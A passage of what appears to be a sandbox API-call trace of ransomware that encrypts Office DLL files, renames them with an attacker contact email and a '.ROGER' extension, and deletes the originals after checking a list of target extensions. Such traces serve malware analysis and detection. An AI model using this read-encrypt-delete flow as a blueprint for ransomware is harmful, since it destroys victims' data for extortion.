0x418 [0058.537] GetLastError () returned 0x0 [0058.537] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x6bfa0, lpOverlapped=0x0) returned 1 [0058.629] WriteFile (in: hFile=0x418, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x6bfb0, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x6bfb0, lpOverlapped=0x0) returned 1 [0058.708] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.708] WriteFile (in: hFile=0x418, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.708] SetEndOfFile (hFile=0x418) returned 1 [0058.708] CloseHandle (hObject=0x418) returned 1 [0058.709] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.709] SetEndOfFile (hFile=0x358) returned 1 [0058.712] CloseHandle (hObject=0x358) returned 1 [0058.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.713] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 1 [0058.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0058.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0058.713] lstrlenW (lpString=".doc") returned 4 [0058.713] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.713] lstrlenW (lpString=".docx") returned 5 [0058.713] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0058.713] lstrlenW (lpString=".pdf") returned 4 [0058.713] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.713] lstrlenW (lpString=".xls") returned 4 [0058.713] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.713] lstrlenW (lpString=".xlsx") returned 5 [0058.713] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0058.713] lstrlenW (lpString=".ppt") returned 4 [0058.713] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0058.713] lstrlenW (lpString=".zip") returned 4 [0058.713] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.713] lstrlenW (lpString=".rar") returned 4 [0058.713] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.713] lstrlenW (lpString=".bz2") returned 4 [0058.714] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.714] lstrlenW (lpString=".7z") returned 3 [0058.714] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0058.714] lstrlenW (lpString=".dbf") returned 4 [0058.714] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0058.714] lstrlenW (lpString=".1cd") returned 4 [0058.714] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0058.714] lstrlenW (lpString=".jpg") returned 4 [0058.714] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0058.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0058.714] lstrlenW (lpString=".doc") returned 4 [0058.714] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.714] lstrlenW (lpString=".docx") returned 5 [0058.714] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0058.714] lstrlenW (lpString=".pdf") returned 4 [0058.714] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.714] lstrlenW (lpString=".xls") returned 4 [0058.714] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.714] lstrlenW (lpString=".xlsx") returned 5 [0058.714] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0058.714] lstrlenW (lpString=".ppt") returned 4 [0058.714] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0058.714] lstrlenW (lpString=".zip") returned 4 [0058.714] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.714] lstrlenW (lpString=".rar") returned 4 [0058.714] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.714] lstrlenW (lpString=".bz2") returned 4 [0058.714] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.714] lstrlenW (lpString=".7z") returned 3 [0058.715] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0058.715] lstrlenW (lpString=".dbf") returned 4 [0058.715] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0058.715] lstrlenW (lpString=".1cd") returned 4 [0058.715] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0058.715] lstrlenW (lpString=".jpg") returned 4 [0058.715] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.715] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0058.715] lstrlenW (lpString="ACEODTXT.DLL") returned 12 [0058.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0058.715] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=15800) returned 1 [0058.716] CloseHandle (hObject=0x358) returned 1 [0058.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 0x20 [0058.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0058.716] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.716] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0058.716] GetLastError () returned 0x0 [0058.716] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x3db8, lpOverlapped=0x0) returned 1 [0058.718] WriteFile (in: hFile=0x418, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0058.719] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.719] WriteFile (in: hFile=0x418, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.719] SetEndOfFile (hFile=0x418) returned 1 [0058.720] CloseHandle (hObject=0x418) returned 1 [0058.720] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.720] SetEndOfFile (hFile=0x358) returned 1 [0058.721] CloseHandle (hObject=0x358) returned 1 [0058.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.721] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 1 [0058.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0058.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0058.721] lstrlenW (lpString=".doc") returned 4 [0058.721] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.721] lstrlenW (lpString=".docx") returned 5 [0058.721] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0058.721] lstrlenW (lpString=".pdf") returned 4 [0058.721] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.721] lstrlenW (lpString=".xls") returned 4 [0058.721] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.721] lstrlenW (lpString=".xlsx") returned 5 [0058.721] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0058.721] lstrlenW (lpString=".ppt") returned 4 [0058.721] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0058.721] lstrlenW (lpString=".zip") returned 4 [0058.721] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.722] lstrlenW (lpString=".rar") returned 4 [0058.722] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.722] lstrlenW (lpString=".bz2") returned 4 [0058.722] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.722] lstrlenW (lpString=".7z") returned 3 [0058.722] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0058.722] lstrlenW (lpString=".dbf") returned 4 [0058.722] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0058.722] lstrlenW (lpString=".1cd") returned 4 [0058.722] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0058.722] lstrlenW (lpString=".jpg") returned 4 [0058.722] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0058.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0058.722] lstrlenW (lpString=".doc") returned 4 [0058.722] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.722] lstrlenW (lpString=".docx") returned 5 [0058.722] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0058.722] lstrlenW (lpString=".pdf") returned 4 [0058.722] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.722] lstrlenW (lpString=".xls") returned 4 [0058.723] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.723] lstrlenW (lpString=".xlsx") returned 5 [0058.723] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0058.723] lstrlenW (lpString=".ppt") returned 4 [0058.723] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0058.723] lstrlenW (lpString=".zip") returned 4 [0058.723] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.723] lstrlenW (lpString=".rar") returned 4 [0058.723] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.723] lstrlenW (lpString=".bz2") returned 4 [0058.723] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.723] lstrlenW (lpString=".7z") returned 3 [0058.723] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0058.723] lstrlenW (lpString=".dbf") returned 4 [0058.723] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0058.723] lstrlenW (lpString=".1cd") returned 4 [0058.723] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0058.723] lstrlenW (lpString=".jpg") returned 4 [0058.723] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.724] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0058.724] lstrlenW (lpString="ACEOLEDB.DLL") returned 12 [0058.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0058.724] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=537504) returned 1 [0058.725] CloseHandle (hObject=0x358) returned 1 [0058.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 0x20 [0058.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0058.725] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.725] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0059.043] GetLastError () returned 0x0 [0059.043] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x833a0, lpOverlapped=0x0) returned 1 [0059.442] WriteFile (in: hFile=0x418, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x833b0, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x833b0, lpOverlapped=0x0) returned 1 [0059.541] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.542] WriteFile (in: hFile=0x418, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.542] SetEndOfFile (hFile=0x418) returned 1 [0059.542] CloseHandle (hObject=0x418) returned 1 [0059.542] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.542] SetEndOfFile (hFile=0x358) returned 1 [0059.547] CloseHandle (hObject=0x358) returned 1 [0059.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.547] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 1 [0059.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0059.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0059.547] lstrlenW (lpString=".doc") returned 4 [0059.547] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.547] lstrlenW (lpString=".docx") returned 5 [0059.548] lstrcmpiW (lpString1=".docx", lpString2="B.DLL") returned -1 [0059.548] lstrlenW (lpString=".pdf") returned 4 [0059.548] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.548] lstrlenW (lpString=".xls") returned 4 [0059.548] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.548] lstrlenW (lpString=".xlsx") returned 5 [0059.548] lstrcmpiW (lpString1=".xlsx", lpString2="B.DLL") returned -1 [0059.548] lstrlenW (lpString=".ppt") returned 4 [0059.548] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0059.548] lstrlenW (lpString=".zip") returned 4 [0059.548] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.548] lstrlenW (lpString=".rar") returned 4 [0059.548] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.548] lstrlenW (lpString=".bz2") returned 4 [0059.548] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.548] lstrlenW (lpString=".7z") returned 3 [0059.548] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0059.548] lstrlenW (lpString=".dbf") returned 4 [0059.548] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0059.548] lstrlenW (lpString=".1cd") returned 4 [0059.548] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0059.548] lstrlenW (lpString=".jpg") returned 4 [0059.548] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0059.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0059.548] lstrlenW (lpString=".doc") returned 4 [0059.548] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.548] lstrlenW (lpString=".docx") returned 5 [0059.548] lstrcmpiW (lpString1=".docx", lpString2="B.DLL") returned -1 [0059.548] lstrlenW (lpString=".pdf") returned 4 [0059.549] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.549] lstrlenW (lpString=".xls") returned 4 [0059.549] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.549] lstrlenW (lpString=".xlsx") returned 5 [0059.549] lstrcmpiW (lpString1=".xlsx", lpString2="B.DLL") returned -1 [0059.549] lstrlenW (lpString=".ppt") returned 4 [0059.549] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0059.549] lstrlenW (lpString=".zip") returned 4 [0059.549] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.549] lstrlenW (lpString=".rar") returned 4 [0059.549] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.549] lstrlenW (lpString=".bz2") returned 4 [0059.549] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.549] lstrlenW (lpString=".7z") returned 3 [0059.549] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0059.549] lstrlenW (lpString=".dbf") returned 4 [0059.549] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0059.549] lstrlenW (lpString=".1cd") returned 4 [0059.549] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0059.549] lstrlenW (lpString=".jpg") returned 4 [0059.549] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.549] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0059.549] lstrlenW (lpString="ACERCLR.DLL") returned 11 [0059.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0059.551] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=55744) returned 1 [0059.551] CloseHandle (hObject=0x358) returned 1 [0059.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 0x20 [0059.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0059.551] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.551] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0059.552] GetLastError () returned 0x0 [0059.552] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0xd9c0, lpOverlapped=0x0) returned 1 [0059.554] WriteFile (in: hFile=0x418, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xd9d0, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xd9d0, lpOverlapped=0x0) returned 1 [0059.555] ReadFile (in: hFile=0x358, 